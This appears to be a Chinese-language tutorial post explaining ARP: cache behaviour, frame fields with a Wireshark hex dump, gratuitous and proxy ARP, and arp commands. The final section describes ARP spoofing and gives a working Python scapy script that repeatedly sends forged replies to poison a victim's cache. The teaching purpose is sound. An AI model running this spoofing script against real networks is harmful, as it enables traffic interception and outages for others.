Address Resolution Protocol

1. 概述

地址解析协议(Address Resolution Protocol)也被称之为ARP协议,其本质上用于根据IP地址获取物理地址(即MAC地址)的一个TCP/IP协议,对应提供ARP反向映射的协议称为RARP协议,目前比较少使用同时需要手动进行配置

主机发送消息时需要将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址,在收到消息后会将对应接收到的物理地址存储在本地ARP缓存表中,如下所示:

image-20231118153154464

需要注意的是,ARP仅仅在同一个IP子网内才会工作,如果是远程主机,则需要一台子网内可以进入下一个网段的路由器协助数据进行转发

ARP广播指的是发送一份ARP请求的以太网数据帧到当前局域网中的每个主机上

主要目的是将网络层的IP地址动态映射到数据链路层上的MAC地址,因为在发送数据包时,需要知道目标设备的MAC地址,以便正确将数据包传递到目标设备

动态映射指的是整个过程为自动更新,不需要人为干预,应用程序和系统用户无需担心,如果一台主机设备改变了网络接口卡,从而改变了硬件地址,但IP地址依旧没变,ARP会在一定延时后继续正常工作

2. TCP/IP vs OSI

ARP协议在TCP/IP分层结构中属于网络层,在OSI模型中属于数据链路层

TCP/IP四层协议包括了:应用层、传输层、网络层和链路层

OSI七层协议包括了:应用层、表示层、会话层、传输层、网络层、链路层、物理层

OSI: Open System Interconnect

TCP/IP: Transmission Control Protocol / Internet Protocol

TCP/IP协议包含四层:应用层、传输层、网络层和数据链路层,对比起OSI七层模型,两者有关应用层与数据链路层对应为以下关系:

TCP/IP and OSI
  • OSI模型于1984年ISO国际标准化组织开发
  • TCP/IP模型最早于1970年由 Vinton Cerf 和 Robert E. Kahn 所设计,最终于1990年代中期蓬勃发展
  • TCP/IP四层模型中的链路层对应为OSI模型中的数据链路层与物理层
  • OSI七层模型中,应用层、表示层和会话层合并为TCP/IP四层模型中的应用层
  • TCP/IP在设计实现的时候,支持跨层封装,而OSI则不行
  • OSI在设计的过程中,将网络划分为更多的层级,在排查故障的过程中,能够更快地定位到问题
  • TCP/IP是工程实践,而OSI是理论模型

3. ARP高速缓存

ARP主要利用的是网络广播的功能来进行获取对应IP的物理地址(也称为MAC地址),每一台计算机或联网设备都会维护一个ARP高速缓存表,一般可在命令行界面通过arp -a的方式进行查看,这个表也就记录着IP地址与MAC地址的映射关系,如下所示:

image-20231111144937282

ARP高效运行的机制关键在于图展现出的ARP高速缓存表,在默认情况下,每一个条目的有效时间是20分钟,并且该有效时间会在每次从ARP缓存表取出使用后继续重置,需要注意的是,ARP高速缓存表也可以缓存IP对应不存在物理地址的情况,这一类条目称为“不完整条目”,其有效时间通常为3分钟

每一个条目中,对应显示通常会包含以下几个信息:

  • IP地址
  • 硬件地址
  • 类型:表示的是ARP缓存表项的类型,可以是动态或静态的
  • 接口:表示设备通过哪个网络接口与对应的IP进行关联

4. MAC地址

MAC地址的全称是Media Access Control Address

通常,每个网络接口对应都会有一个硬件地址,也就是上述提到的MAC地址,它是一个48 bit的值

在硬件层次上进行数据帧交换的时候必须要有正确的MAC地址,TCP/IP也有自己的地址也就是32 bit的IP地址,但是往往只知道IP地址是无法让内核发送数据给到对应的主机的,必须要知道目的主机端的硬件地址才能够发送数据,因此一般称ARP的功能是在32 bit的IP地址和采用不同网络技术的硬件地址之间提供动态映射

5. ARP帧格式

ARP请求也可以用于IPv4以外的地址,一般情况下,ARP请求的帧格式呈现为以下,前14个字节构成了标准的以太网头部,其他部分则专门用于将IPv4地址转化为48位的物理地址:

image-20231113211616285

图源:《TCP/IP详解 卷1: 协议》 - 4.4 ARP帧格式 - P116

通过以上帧格式,可以识别包含以下字段信息:

  • 以太网请求帧头部(14字节)

    • DST:全称是Destination Address,代表的是目的MAC地址,对于ARP请求来说,如果目的地址为ff:ff:ff:ff:ff:ff,则说明对应是广播地址,在同一广播域中的所有以太网接口都能够接收到该请求帧

    • SRC:全称是Source Address,代表的是源MAC地址,即是发出请求的设备MAC地址

    • 长度或类型:每个以太网帧头部中,都有该字段,对于ARP协议来说,该字段2个字节对应始终为0x0806,这是以太网协议中规定的ARP协议的类型字段数值,每一个协议都有一个标准化的协议标识,关于更多的协议标识可以参考IANA(Internet Assigned Numbers Authority)

  • 固定大小(8字节)

    • 硬件类型:指的是硬件地址类型,对于以太网(Ethernet)来说,该值为0x0001,硬件类型还有其他的选值,比如ARP高级增强型数据链路层(一般用于ATM使用)值为0x000f,更多详细硬件类型值可参考IANA
    • 协议类型:指的是映射的协议地址类型,对应IPv4地址来说,该值为0x0800,对于IPv6地址来说,该值为0x86DD,但是需要注意的是,ARP协议本身只定义了IPv4地址的解析,如果在IPv6环境中,通常会使用Neighbor Discovery Protocol(NDP)协议来做类似的功能,因此该ARP协议的类型字段主要在IPv4环境中使用
    • 硬件大小:指的是硬件地址的字节数,对于IPv4地址的请求或应答来说,硬件地址大小值通常为6,表示为6个字节,对应是6 Bytes = 6 * 8 Bits = 48 Bits
    • 协议大小:指的是协议地址的字节数,对于IPv4地址的请求或应答来说,协议地址大小值通常为4,表示为4个字节,对应是4 Bytes = 4 * 8 Bits = 32 Bits
    • Op:指出该操作是ARP请求(0x0001)、ARP应答(0x0002)、RARP请求(0x0003)或RARP应答(0x0004),由于ARP请求和ARP应答的长度 & 类型字段相同,因此该操作字段是必须的,用于识别出操作类型
  • 可变大小(20字节)

    • 发送方硬件地址:即为ARP发送方的48位硬件(MAC)地址
    • 发送方协议地址:即为ARP发送方的32位IPv4地址
    • 目的硬件地址:即为ARP目的方的48位硬件(MAC)地址
    • 目的协议地址:即为ARP目的方的32位IPv4地址

Tips: 此处的可变大小区域会存在与以太网请求帧头部重复的信息,比如发送方的MAC地址

  • 填充比例(18字节):用于填充数据帧,以达到以太网帧要求的最小64字节
  • FCS(4字节):FCS的全称是Frame Check Sequence,其中文意思是“帧校验序列”,是一种错误检测机制,用于检测数据帧在传输过程中是否受到了损坏或发生了任何错误,帧校验序列一般跟在帧的最后一个字节后

当接收端接收到ARP请求时,会填充它的物理设备地址(MAC),随后将两个发送方地址与接收方地址进行互换,再将op位置为ARP应答(0x0002),以此生成ARP响应帧

以下是一封有关ARP请求的以太网帧,由Wireshark APP进行抓取,解释按照字节顺序从左至右进行:

Tips:以下的以太网帧以十六进制进行表示

1
2
3
4
0000   ff ff ff ff ff ff 48 5f 08 61 4a 77 08 06 00 01   ......H_.aJw....
0010 08 00 06 04 00 01 48 5f 08 61 4a 77 c0 a8 00 01 ......H_.aJw....
0020 00 00 00 00 00 00 c0 a8 00 69 00 00 00 00 00 00 .........i......
0030 00 00 00 00 00 00 00 00 00 00 00 00 ............
  • ff ff ff ff ff ff:对应为DST区域,其中48位都是1,指的是这封数据帧的目的物理地址,表示这是一个局域网广播地址,共6个字节
  • 48 5f 08 61 4a 77:对应为SRC区域,大小同上,代表的是这封数据帧的发出物理设备地址,共6个字节
  • 08 06:对应表示为ARP消息的长度类型,共2个字节
  • 00 01:对应为硬件类型Ethernet,共2个字节
  • 08 00:对应为协议类型IPv4,共2个字节
  • 06:对应的是硬件地址大小,06则代表硬件地址长度对应为6个字节,也就是MAC地址的长度
  • 04:对应为协议地址大小,04则代表IP地址长度对应为4个字节
  • 00 01:对应为ARP协议的操作类型,如上所述,0x0001代表的是ARP请求报文,共2个字节
  • 48 5f 08 61 4a 77 :对应为ARP消息的发送方硬件地址,共6个字节
  • c0 a8 00 01:对应为ARP消息的发送方IP地址,共4个字节,对应转换为十进制为192.168.0.1
  • 00 00 00 00 00 00:对应为ARP消息接收方的硬件地址,由于无法暂时得知,因此该区域为0填充,共6个字节
  • c0 a8 00 69:对应为ARP消息接收方的协议地址,共4个字节,对应转换为十进制为192.168.0.105
  • 00 00 00 00 ..:剩余的0填充,则对应是为了满足以太网帧最小大小为64 Bytes而做的填充

a. ARP的请求帧

已知以太网帧大小最少是64 Bytes,以太网帧从左至右格式如下所示:

Preamble Destination MAC address Source MAC address Type / Length User Data Frame Check Sequence (FCS)
8 Bytes 6 Bytes 6 Bytes 2 Bytes 46 - 1500 Bytes 4 Bytes

Preamble区由前导同步码 7 个字节 + 帧开始定界符 1 个字节共计8个字节组成

从以上帧结构可以看出以太网帧大小区间在8 + 6 + 6 + 2 + (46 ~ 1500) + 4 = 72 ~ 1526 Bytes

通过Wireshark APP抓包发现ARP请求包中大小加和仅为60 Bytes,如下所示:

image-20231117135228703

其中造成的帧大小不一致现象差异主要是由于数据帧到达网卡时,会先去掉前导同步码和帧开始定界符(Preamble区域),再对其进行CRC校验,如果校验出错,则直接丢弃,如果正确则进行下一步处理,由此可得最终的数据帧字节范围为:6 + 6 + 2 + (46 ~ 1500) = 60 ~ 1510 Bytes ,然而实际的以太网帧则是包含了帧校验序列(FCS)的,因此以太网帧最小为64 Bytes

b. ARP的响应帧

通过Wireshark APP抓包发现本地ARP响应包中大小加和仅为42 Bytes,缺失了帧末尾的填充区域,如下所示:

image-20231117224850033

丢失padding填充区域的主要原因在于网络接口卡(Network Interface Card),经过在Mac系统多轮测试发现,当以太网帧的目标地址为当前机器或是该以太网帧是有当前机器发出,默认都不会添加padding填充区域,因为还未到这一步,需要后续到达网卡处才会添加,可参考该回答

以太网数据帧的填充操作主要由网络接口卡(NIC)来完成,当系统发送以太网数据帧时,网络接口卡(NIC)会识别并追加填充大小来保证数据帧能够满足以太网数据帧的最小要求的64个字节,在系统接收到以太网数据帧时,网卡也会在完成校验后,移除该部分

网络接口卡(NIC)负责填充判断、FCS校验与添加,同时FCS是在数据帧封装的最后阶段,也就是说FCS是在数据链路层的发送端对应的NIC上添加的,用于对数据帧的完整性校验

Tips

  • FCS错误通常在物理层设备上处理,而Wireshark更专注于高层次的协议分析,因此在Wireshark查看包的中通常无法看到FCS段数据
  • 如果Wireshark接收到的以太网帧大小低于60 Bytes,则是本地网络接口卡将对应的paddingCRC校验码进行了移除,可参考Wireshark Q&A
  • 经过在Mac系统的Wireshark抓包测试,发现ARP广播以太网帧尾部的填充区域(Padding)不会被网络接口卡(NIC)去除

6. Gratuitous ARP

Gratuitous ARP中文翻译为免费ARP,是一种特殊类型的ARP消息,其目的并不是为了解析IP地址到MAC地址之间的映射,这种类型的ARP消息中将目的IP地址设置为当前主机的IP地址,Gratuitous ARP主要有以下目的:

  • 地址冲突检测:正常情况下,发送地址与目标地址一致的ARP请求包不会收到任何的ARP响应,如果收到,则表明当前网络中存在与自身IP地址重复的主机
  • 更新MAC地址:如果本地主机变更了硬件地址,则可以通过发送Gratuitous ARP广播消息来使得其他主机统一更新各自的ARP高速缓存表(主要利用了主机接收到ARP响应就会将主机对应的ARP高速缓存表中的MAC变更为响应中的对应地址这一机制)

免费ARP消息与正常的ARP请求和响应的区别在于,它们在 ARP 消息中同时作为请求和响应。在 Gratuitous ARP 消息中,发送端填写了它自己的IP地址和MAC地址,并且目标地址也设置为发送者的IP地址。这样,免费ARP消息中包含了发送者的信息,但不需要等待其他设备的响应

7. 代理ARP

代理ARP可以使得一个主机系统(通常会是一台专门配置的路由器)专门回答不同主机的ARP请求,使得ARP请求的发送者认为做出响应的系统就是目的主机,但实际上目的主机可能不存在或存在于其他地方,其主要的目的是让设备误以为某个目标IP地址就在本地网络中,从而将数据通过该设备进行中转

在Linux环境下,可以通过向/proc/sys/net/ipv4/conf/*/proxy_arp写入字符1或者通过sudo sysctl -w net.ipv4.conf.all.proxy_arp=1 来开启ARP代理

8. ARP命令

在Linux或Mac系统下,可以通过命令行对本地的ARP高速缓存表进行操作,如下:

  • 显示ARP缓存表
1
$ arp -a
  • 添加静态ARP缓存条目
1
$ arp -s <IP地址> <MAC地址>
  • 删除ARP缓存条目
1
$ arp -d <IP地址>
  • 删除所有ARP缓存条目
1
$ arp -d -a
  • 显示arp帮助菜单
1
$ arp --help

9. ARP攻击

ARP攻击通常指的是使用代理ARP功能来假扮某一个主机,对ARP请求做出应答,利用ARP协议在接收到ARP应答后会直接更新本地的ARP高速缓存表的特性,伪造出自定义的ARP应答,最主要的是将ARP消息体中的发送端IP对应的物理地址变更为不存在的物理地址,则会导致对应接收主机的本地ARP缓存有关的IP被修改为不存在的物理地址,最终导致网络不连通,如下所示:

image-20231118173959990

host B持续不断地发起的ARP响应,响应内容则表明路由器192.168.0.1的物理地址为aa:2d:1c:c3:58:3f,而实际上该物理地址则是对应的host B的物理地址,最终由host A接收到该类ARP响应后更新本地ARP高速缓存表,造成后续host A的所有数据帧都送到了host B中,该类攻击可能造成数据泄露或网络不可用

以下是攻击脚本示范:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import time
import sys
import scapy.all as scapy

def arp_spoof(victim_ip, victim_mac, router_ip, fake_router_mac):
packet = scapy.ARP(op=2, pdst=victim_ip, hwdst=victim_mac, psrc=router_ip, hwsrc=fake_router_mac)
scapy.send(packet, verbose=False)

victim_ip = input('victim ip:')
victim_mac = input('victim mac:')
router_ip = input('router ip:')
fake_router_mac = input('fake router mac:')
sent_packets_count = 0
while True:
sent_packets_count += 1
arp_spoof(victim_ip, victim_mac, router_ip, fake_router_mac)
print("[+] Packets sent " + str(sent_packets_count), end="\r")
time.sleep(1)
sys.stdout.flush()

EOF. 相关链接